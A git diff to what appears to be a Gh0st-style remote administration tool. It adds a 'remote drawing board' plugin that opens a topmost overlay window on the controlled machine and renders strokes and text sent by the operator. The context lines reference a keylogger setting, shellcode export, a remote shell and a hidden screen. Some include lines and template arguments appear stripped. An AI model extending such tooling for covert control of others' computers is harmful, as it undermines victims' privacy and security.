diff --git a/client/ClientDll_vs2015.vcxproj b/client/ClientDll_vs2015.vcxproj
index 3ed6eb6..34e7c79 100644
--- a/client/ClientDll_vs2015.vcxproj
+++ b/client/ClientDll_vs2015.vcxproj
@@ -193,6 +193,7 @@
+
@@ -252,6 +253,7 @@
+
diff --git a/client/Common.cpp b/client/Common.cpp
index da691b9..2ffa531 100644
--- a/client/Common.cpp
+++ b/client/Common.cpp
@@ -6,6 +6,7 @@
#include "FileManager.h"
#include "file/FileManager.h"
#include "screenhide/ScreenHideManager.h"
+#include "DrawingBoardMgr.h"
#include "TalkManager.h"
#include "ChatManager.h"
#include "MachineManager.h"
@@ -125,6 +126,11 @@ DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam)
return LoopManager(lParam);
}
+DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam)
+{
+ return LoopManager(lParam);
+}
+
DWORD WINAPI LoopShellManager(LPVOID lParam)
{
// Use ConPTY for xterm.js terminal on Windows 10 1809+, fallback to legacy pipe
diff --git a/client/Common.h b/client/Common.h
index e8fd74c..cd4fa80 100644
--- a/client/Common.h
+++ b/client/Common.h
@@ -32,6 +32,7 @@ DWORD WINAPI LoopChatManager(LPVOID lParam);
DWORD WINAPI LoopMachineManager(LPVOID lParam);
DWORD WINAPI LoopFileManagerPlugin(LPVOID lParam);
DWORD WINAPI LoopPrivateScreenPlugin(LPVOID lParam);
+DWORD WINAPI LoopDrawingBoardPlugin(LPVOID lParam);
DWORD WINAPI LoopProcessManager(LPVOID lParam);
DWORD WINAPI LoopWindowManager(LPVOID lParam);
DWORD WINAPI LoopVideoManager(LPVOID lParam);
diff --git a/client/DrawingBoardMgr.cpp b/client/DrawingBoardMgr.cpp
new file mode 100644
index 0000000..f8077ab
--- /dev/null
+++ b/client/DrawingBoardMgr.cpp
@@ -0,0 +1,290 @@
+#include "DrawingBoardMgr.h"
+#include
+
+#define MSG_CLEAR 999
+
+namespace SimplePluginsDrawingBoard {
+
+DrawingBoardMgr::DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user): CManager(ClientObject)
+{
+ m_fAlpha = 150;
+ m_bIsWorking = TRUE;
+ m_bTopMost = TRUE;
+ m_hWnd = NULL;
+ m_textColor = RGB(255,0,0);
+ m_Font = CreateFont(20, 0, 0, 0, FW_NORMAL, FALSE, FALSE, FALSE,
+ DEFAULT_CHARSET, OUT_DEFAULT_PRECIS, CLIP_DEFAULT_PRECIS,
+ DEFAULT_QUALITY, DEFAULT_PITCH | FF_SWISS, _T("Arial"));
+ m_DrawPen = CreatePen(PS_SOLID, 2, RGB(0, 0, 0));
+ __CreateThread(NULL, 0, DrawingThreadProc, this, 0, NULL);
+ BYTE bToken = TOKEN_DRAWING_BOARD;
+ m_ClientObject->Send2Server((char*)&bToken, 1);
+}
+
+DrawingBoardMgr::~DrawingBoardMgr()
+{
+ m_bIsWorking = FALSE;
+ while (m_hWnd)
+ Sleep(200);
+ DeleteObject(m_DrawPen);
+ DeleteObject(m_Font);
+}
+
+DWORD WINAPI DrawingBoardMgr::DrawingThreadProc(LPVOID lpParam)
+{
+ Mprintf("Start DrawingThreadProc\n");
+ DrawingBoardMgr* pThis = (DrawingBoardMgr*)lpParam;
+ pThis->RunWindowThread();
+ pThis->m_bIsWorking = FALSE;
+ Mprintf("Stop DrawingThreadProc\n");
+ return 0;
+}
+
+void DrawingBoardMgr::RunWindowThread()
+{
+ const TCHAR CLASS_NAME[] = _T("DrawingBoardClass");
+ static bool s_classRegistered = false;
+ if (!s_classRegistered) {
+ WNDCLASSEX wc = {};
+ wc.cbSize = sizeof(WNDCLASSEX);
+ wc.lpfnWndProc = DrawingBoardMgr::WndProc;
+ wc.hInstance = GetModuleHandle(NULL);
+ wc.lpszClassName = CLASS_NAME;
+ wc.hbrBackground = (HBRUSH)(COLOR_WINDOW + 1);
+ wc.hIcon = NULL; // 标题栏图标
+ wc.hIconSm = NULL; // 小图标(Alt+Tab 和任务栏缩略图)
+ if (!RegisterClassEx(&wc)) {
+ Mprintf("RegisterClassEx failed: %d\n", GetLastError());
+ }
+ s_classRegistered = true;
+ }
+
+ DWORD dwStyle = WS_POPUP | WS_BORDER;
+ m_hWnd = CreateWindowEx(
+ WS_EX_TOOLWINDOW | WS_EX_LAYERED, CLASS_NAME, _T(""),
+ dwStyle, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600,
+ NULL, NULL, GetModuleHandle(NULL), this
+ );
+ if (m_hWnd == NULL) return;
+
+ LONG style = GetWindowLong(m_hWnd, GWL_STYLE);
+ style |= WS_BORDER; // 增加窄边框
+ style &= ~(WS_CAPTION | WS_THICKFRAME); // 去掉标题栏和可调整边框
+ SetWindowLong(m_hWnd, GWL_STYLE, style);
+
+ // 去掉系统菜单
+ SetWindowPos(m_hWnd, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+ BringWindowToTop(m_hWnd);
+
+ // 透明度
+ SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
+
+ ShowWindow(m_hWnd, SW_SHOW);
+ UpdateWindow(m_hWnd);
+
+ MSG msg;
+ while (GetMessage(&msg, NULL, 0, 0) && m_bIsWorking) {
+ TranslateMessage(&msg);
+ DispatchMessage(&msg);
+ Sleep(1);
+ }
+ if (m_hWnd)
+ PostMessage(m_hWnd, WM_CLOSE, 0, 0);
+ m_hWnd = NULL; // 线程退出后,窗口已销毁
+}
+
+LRESULT CALLBACK DrawingBoardMgr::WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam)
+{
+ DrawingBoardMgr* pThis = nullptr;
+
+ if (msg == WM_NCCREATE) {
+ CREATESTRUCT* cs = (CREATESTRUCT*)lParam;
+ pThis = (DrawingBoardMgr*)cs->lpCreateParams;
+ SetWindowLongPtr(hWnd, GWLP_USERDATA, (LONG_PTR)pThis);
+ }
+ else {
+ pThis = (DrawingBoardMgr*)GetWindowLongPtr(hWnd, GWLP_USERDATA);
+ }
+
+ if (pThis) {
+ switch (msg) {
+ case WM_GETICON:
+ return NULL;
+ case WM_WINDOWPOSCHANGED:
+ {
+ WINDOWPOS* pwp = (WINDOWPOS*)lParam;
+ if (pThis->m_bTopMost && !(pwp->flags & SWP_NOZORDER)) {
+ // 如果窗口层级被改变,重新设置为顶层
+ SetWindowPos(hWnd, HWND_TOPMOST, 0, 0, 0, 0,
+ SWP_NOMOVE | SWP_NOSIZE | SWP_NOACTIVATE);
+ }
+ break;
+ }
+ case WM_PAINT:
+ {
+ PAINTSTRUCT ps;
+ HDC hdc = BeginPaint(hWnd, &ps);
+
+ HPEN hOldPen = (HPEN)SelectObject(hdc, pThis->m_DrawPen);
+ HFONT hOldFont = (HFONT)SelectObject(hdc, pThis->m_Font);
+ pThis->m_locker.lock();
+ auto paths = pThis->m_Paths;
+ auto currentPath = pThis->m_CurrentPath;
+ auto texts = pThis->m_Texts;
+ pThis->m_locker.unlock();
+ // 画所有历史路径
+ for (const auto& path : paths)
+ {
+ if (path.size() >= 2)
+ Polyline(hdc, path.data(), (int)path.size());
+ }
+
+ // 画当前路径
+ if (currentPath.size() >= 2)
+ {
+ Polyline(hdc, currentPath.data(), (int)currentPath.size());
+ }
+
+ // 绘制文字
+ SetTextColor(hdc, pThis->m_textColor); // 设置文本颜色
+ SetBkMode(hdc, TRANSPARENT); // 设置透明背景
+ for (const auto& entry : texts)
+ TextOutA(hdc, entry.first.x, entry.first.y, entry.second.c_str(), entry.second.length());
+
+ SelectObject(hdc, hOldPen);
+ SelectObject(hdc, hOldFont);
+
+ EndPaint(hWnd, &ps);
+ return 0;
+ }
+ case WM_DESTROY:
+ PostQuitMessage(0);
+ return 0;
+ case MSG_CLEAR:
+ pThis->m_locker.lock();
+ pThis->m_Paths.clear();
+ pThis->m_CurrentPath.clear();
+ pThis->m_Texts.clear();
+ pThis->m_locker.unlock();
+ InvalidateRect(hWnd, NULL, TRUE);
+ break;
+ }
+ }
+
+ return DefWindowProc(hWnd, msg, wParam, lParam);
+}
+
+VOID DrawingBoardMgr::OnReceive(PBYTE szBuffer, ULONG ulLength)
+{
+ if (ulLength < 1) return;
+
+ BYTE cmd = szBuffer[0];
+
+ switch (cmd)
+ {
+ case CMD_DRAW_POINT:
+ if (ulLength == sizeof(POINT) + 1)
+ {
+ POINT pt = *(POINT*)(szBuffer + 1);
+ m_locker.lock();
+ m_CurrentPath.push_back(pt);
+ m_locker.unlock();
+ if (m_hWnd)
+ InvalidateRect(m_hWnd, NULL, FALSE);
+ }
+ break;
+ case CMD_DRAW_END:
+ m_locker.lock();
+ if (!m_CurrentPath.empty())
+ {
+ m_Paths.push_back(m_CurrentPath);
+ m_CurrentPath.clear();
+ if (m_hWnd)
+ InvalidateRect(m_hWnd, NULL, FALSE);
+ }
+ m_locker.unlock();
+ break;
+ case CMD_TRANSPORT:
+ m_fAlpha = ulLength > 1 ? szBuffer[1] : m_fAlpha;
+ SetLayeredWindowAttributes(m_hWnd, 0, m_fAlpha, LWA_ALPHA);
+ break;
+ case CMD_TOPMOST:
+ m_bTopMost = ulLength > 1 ? szBuffer[1] : TRUE;
+ SetWindowPos(m_hWnd, m_bTopMost ? HWND_TOPMOST : HWND_NOTOPMOST, 0, 0, 0, 0,
+ SWP_NOMOVE | SWP_NOSIZE | SWP_FRAMECHANGED);
+ break;
+ case CMD_MOVEWINDOW:
+ if (ulLength == sizeof(RECT) + 1)
+ {
+ RECT rect = *(RECT*)(szBuffer + 1);
+ if (m_hWnd && IsWindow(m_hWnd))
+ {
+ ::SetWindowPos(m_hWnd, HWND_TOP, rect.left, rect.top,
+ rect.right-rect.left, rect.bottom-rect.top,
+ SWP_NOSIZE | SWP_NOZORDER | SWP_NOACTIVATE);
+ }
+ }
+ break;
+ case CMD_SET_SIZE: {
+ if (ulLength == sizeof(int) * 2 + 1) {
+ int x[2];
+ memcpy(x, szBuffer + 1, sizeof(int) * 2);
+ if (IsWindow(m_hWnd)) {
+ ::SetWindowPos(m_hWnd, NULL, 0, 0,
+ x[0], x[1], SWP_NOZORDER | SWP_NOMOVE | SWP_NOACTIVATE);
+ }
+ }
+ break;
+ }
+ case CMD_DRAW_CLEAR: {
+ PostMessage(m_hWnd, MSG_CLEAR, 0, 0);;
+ break;
+ }
+ case CMD_DRAW_TEXT: {
+ ParseRemoteText(szBuffer + 1, ulLength - 1);
+ break;
+ }
+ default:
+ break;
+ }
+}
+
+void DrawingBoardMgr::ParseRemoteText(PBYTE data, ULONG length)
+{
+ if (length < sizeof(POINT)) return;
+
+ // 提取位置
+ POINT pt = *(POINT*)data;
+ PBYTE textData = data + sizeof(POINT);
+ int textLen = (int)(length - sizeof(POINT));
+
+ // UTF-8 → WCHAR
+ int wideLen = MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, NULL, 0);
+ if (wideLen <= 0) return;
+
+ std::wstring wstr(wideLen, 0);
+ MultiByteToWideChar(CP_UTF8, 0, (LPCCH)textData, textLen, &wstr[0], wideLen);
+
+#ifdef _UNICODE
+ CString cstr(wstr.c_str());
+#else
+ // 若项目使用多字节字符集
+ int ansiLen = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
+ std::string cstr;
+ if (ansiLen > 0)
+ {
+ std::string ansi(ansiLen - 1, 0);
+ WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, &ansi[0], ansiLen - 1, NULL, NULL);
+ cstr = ansi.c_str();
+ }
+#endif
+
+ // 存入本地图形对象并刷新绘图区域
+ m_locker.lock();
+ m_Texts.push_back(std::make_pair(pt, cstr));
+ m_locker.unlock();
+ if (m_hWnd)
+ InvalidateRect(m_hWnd, NULL, FALSE);
+}
+
+} // namespace SimplePluginsDrawingBoard
diff --git a/client/DrawingBoardMgr.h b/client/DrawingBoardMgr.h
new file mode 100644
index 0000000..c28882e
--- /dev/null
+++ b/client/DrawingBoardMgr.h
@@ -0,0 +1,36 @@
+#pragma once
+#include "Manager.h"
+#include
+#include
+#include "common/locker.h"
+
+namespace SimplePluginsDrawingBoard {
+
+class DrawingBoardMgr : public CManager
+{
+public:
+ DrawingBoardMgr(IOCPClient* ClientObject, int n, void* user = nullptr);
+ ~DrawingBoardMgr();
+
+ virtual VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
+
+ void ParseRemoteText(PBYTE data, ULONG length);
+
+private:
+ BYTE m_fAlpha; // 透明度: 0-全透明, 255-不透明
+ BOOL m_bTopMost; // 顶层
+ BOOL m_bIsWorking; // 线程状态
+ HWND m_hWnd; // 窗口
+ std::vector> m_Paths; // 历史路径集合,每条路径是一组点
+ std::vector m_CurrentPath; // 当前正在绘制的路径点集合
+ std::vector> m_Texts;
+ HFONT m_Font;
+ COLORREF m_textColor;
+ HPEN m_DrawPen;
+ CLocker m_locker;
+ static DWORD WINAPI DrawingThreadProc(LPVOID lpParam);
+ void RunWindowThread();
+ static LRESULT CALLBACK WndProc(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
+};
+
+} // namespace SimplePluginsDrawingBoard
diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp
index 39a9e9b..f8a25d7 100644
--- a/client/KernelManager.cpp
+++ b/client/KernelManager.cpp
@@ -1197,6 +1197,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
+ case COMMAND_DRAWING_BOARD_PLUGIN: { // 远程画板(SimplePlugins 迁移)
+ {
+ auto* sub = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn, publicIP);
+ sub->EnableSubConnAuth(); // 子连接:每次连上后自动发 TOKEN_CONN_AUTH 校验
+ m_hThread[m_ulThreadCount].p = sub;
+ }
+ m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopDrawingBoardPlugin, &m_hThread[m_ulThreadCount], 0, NULL);;
+ break;
+ }
+
case COMMAND_SHELL: {
if (!ENABLE_SHELL) {
return ResponseDisable(m_ClientObject, "SHELL", szBuffer + 1, ulLength - 1);
diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj
index 1b4bc70..46f8598 100644
--- a/client/ghost_vs2015.vcxproj
+++ b/client/ghost_vs2015.vcxproj
@@ -200,6 +200,7 @@
+
@@ -262,6 +263,7 @@
+
diff --git a/common/commands.h b/common/commands.h
index 1a577c3..376c3b5 100644
--- a/common/commands.h
+++ b/common/commands.h
@@ -324,6 +324,7 @@ enum {
COMMAND_MACHINE_MANAGE = 162, // 服务端 → 客户端:打开主机管理对话框
COMMAND_FILE_MANAGER_PLUGIN = 163, // 服务端 → 客户端:打开插件文件管理对话框(SimplePlugins 迁移)
COMMAND_PRIVATE_SCREEN_PLUGIN = 164, // 服务端 → 客户端:打开隐私屏幕(虚拟桌面,SimplePlugins 迁移)
+ COMMAND_DRAWING_BOARD_PLUGIN = 165, // 服务端 → 客户端:打开远程画板(SimplePlugins 迁移)
TOKEN_DECRYPT = 199,
TOKEN_REGEDIT = 200, // 注册表
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index e059125..aaa1897 100644
Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ
diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp
index d7c035a..893d4a3 100644
--- a/server/2015Remote/2015RemoteDlg.cpp
+++ b/server/2015Remote/2015RemoteDlg.cpp
@@ -998,6 +998,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_MACHINE_MANAGE, &CMy2015RemoteDlg::OnMachineManager)
ON_COMMAND(ID_EXPERIMENT_FILE_MANAGER, &CMy2015RemoteDlg::OnExperimentFileManager)
ON_COMMAND(ID_EXPERIMENT_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnExperimentPrivateScreen)
+ ON_COMMAND(ID_EXPERIMENT_DRAWING_BOARD, &CMy2015RemoteDlg::OnExperimentDrawingBoard)
ON_COMMAND(ID_TRIGGER_SETTINGS, &CMy2015RemoteDlg::OnTriggerSettings)
ON_COMMAND(ID_SHELLCODE_AES_C_ARRAY, &CMy2015RemoteDlg::OnShellcodeAesCArray)
ON_COMMAND(ID_PARAM_KBLOGGER, &CMy2015RemoteDlg::OnParamKblogger)
@@ -4525,6 +4526,12 @@ void CMy2015RemoteDlg::OnExperimentPrivateScreen()
SendSelectedCommand(&bToken, sizeof(BYTE));
}
+void CMy2015RemoteDlg::OnExperimentDrawingBoard()
+{
+ BYTE bToken = COMMAND_DRAWING_BOARD_PLUGIN; //向被控端发送打开远程画板命令
+ SendSelectedCommand(&bToken, sizeof(BYTE));
+}
+
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h
index d8ee22b..6210511 100644
--- a/server/2015Remote/2015RemoteDlg.h
+++ b/server/2015Remote/2015RemoteDlg.h
@@ -520,6 +520,7 @@ public:
afx_msg void OnMachineManager();
afx_msg void OnExperimentFileManager();
afx_msg void OnExperimentPrivateScreen();
+ afx_msg void OnExperimentDrawingBoard();
afx_msg void OnOnlineDelete();
afx_msg void OnOnlineUpdate();
afx_msg void OnAbout();
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 3be548c..abf24e1 100644
--- a/server/2015Remote/resource.h
+++ b/server/2015Remote/resource.h
@@ -1014,6 +1014,7 @@
#define ID_TALK_MANAGE 33089
#define ID_EXPERIMENT_FILE_MANAGER 33090
#define ID_EXPERIMENT_PRIVATE_SCREEN 33091
+#define ID_EXPERIMENT_DRAWING_BOARD 33092
#define ID_33046 33046
#define ID_PROXY_PORT_AUTORUN 33047
#define ID_TRIGGER_SETTINGS 33048
@@ -1078,7 +1079,7 @@
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 407
-#define _APS_NEXT_COMMAND_VALUE 33092
+#define _APS_NEXT_COMMAND_VALUE 33093
#define _APS_NEXT_CONTROL_VALUE 2593
#define _APS_NEXT_SYMED_VALUE 105
#endif